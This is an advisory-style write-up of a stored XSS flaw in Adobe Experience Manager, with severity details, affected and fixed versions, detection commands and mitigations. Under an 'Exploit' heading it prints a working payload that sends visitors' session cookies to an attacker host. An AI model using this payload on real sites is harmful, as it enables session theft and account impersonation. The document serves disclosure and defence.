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CVE-2026-47936 is a stored (persistent) Cross‑Site Scripting (XSS) vulnerability affecting Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04 and all earlier releases. The flaw resides in insufficient sanitization of user‑supplied input, specifically in writable form fields that accept rich text or HTML‑like content. A low‑privileged attacker (e.g., a contributor or author) can inject arbitrary JavaScript into these fields without any special permissions beyond the ability to create or edit content.
Because the injection is persistent, the malicious script is stored on the AEM server and is served to every subsequent visitor who views the page containing the compromised field. When a victim’s browser renders the page, the injected script executes in the context of the victim’s session. The attack vector is network‑based (AV:N), requires low attack complexity (AC:L), and needs user interaction (UI:R) – a victim must browse to the affected page. The scope of the vulnerability is changed (S:C), meaning the injected script can act outside the originally vulnerable component, potentially accessing data in other security domains.
The CVSS 3.1 score is 5.4 (Medium), with confidentiality and integrity impacts both rated low (C:L/I:L), and no availability impact (A:N). The vector string is CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. Successful exploitation can lead to theft of session cookies, impersonation of the victim user, capture of credentials, or manipulation of page content. Adobe rates the issue as “Important” and has fixed it in AEM Cloud Service release 2026.05, AEM 6.5 LTS Service Pack 2, and AEM 6.5 Service Pack 25.
As of the publication date (June 9, 2026), Adobe is not aware of any active exploits in the wild. The EPSS score is unavailable, and the vulnerability is not listed in CISA’s KEV catalog, suggesting a lower likelihood of widespread exploitation at this time.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: 6.5.24 LTS SP1
Vulnerability: Stored XSS (CWE-79)
Severity: Medium (5.4)
Date: 2026-06-09
Prediction: Patch date 2026-06-09
Analytics under heading What Undercode Say:
Check AEM version from system console
curl -s -u admin:admin http://localhost:4502/system/console/status-productinfo.json | jq '.productInfo[] | select(.version) | .version'
Grep for vulnerable service pack in install logs
grep -E "6.5.24|2026.04|LTS SP1" /opt/aem/crx-quickstart/logs/error.log
Search for stored XSS payloads in JCR nodes (requires JMX or Groovy)
find /opt/aem/crx-quickstart/repository -name ".xml" -exec grep -l "<script>alert" {} \;
Exploit:
POST /content/forms/af/submit HTTP/1.1 Host: target-aem.com Content-Type: application/x-www-form-urlencoded comment=<script>document.location='https://attacker.com/log?cookie='%2bdocument.cookie</script>
The above payload, when submitted into a comment or feedback field, is stored persistently. Any visitor viewing the page triggers the script, sending their session cookie to the attacker’s server.
Protection:
- Upgrade AEM to Cloud Service release 2026.05, AEM 6.5 LTS Service Pack 2, or AEM 6.5 Service Pack 25.
- Enforce strict input validation/sanitization using HTL (HTML Template Language) with context‑aware escaping (
xss=’safe’). - Deploy a Content Security Policy (CSP) that disallows inline scripts (
script-src ‘self’). - Restrict write access to form fields to trusted users only; disable rich‑text editing where not required.
Impact:
Client‑side arbitrary JavaScript execution in the context of any user who views a page containing the vulnerable form field. Attackers can:
– Steal session tokens and impersonate victims.
– Capture keystrokes and form inputs (e.g., passwords, credit cards).
– Redirect victims to phishing pages or malware downloads.
– Deface AEM‑generated pages with malicious content.
– Leverage the changed scope (S:C) to bypass same‑origin restrictions and access data from other AEM components.
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Sources:
Reported By: nvd.nist.gov
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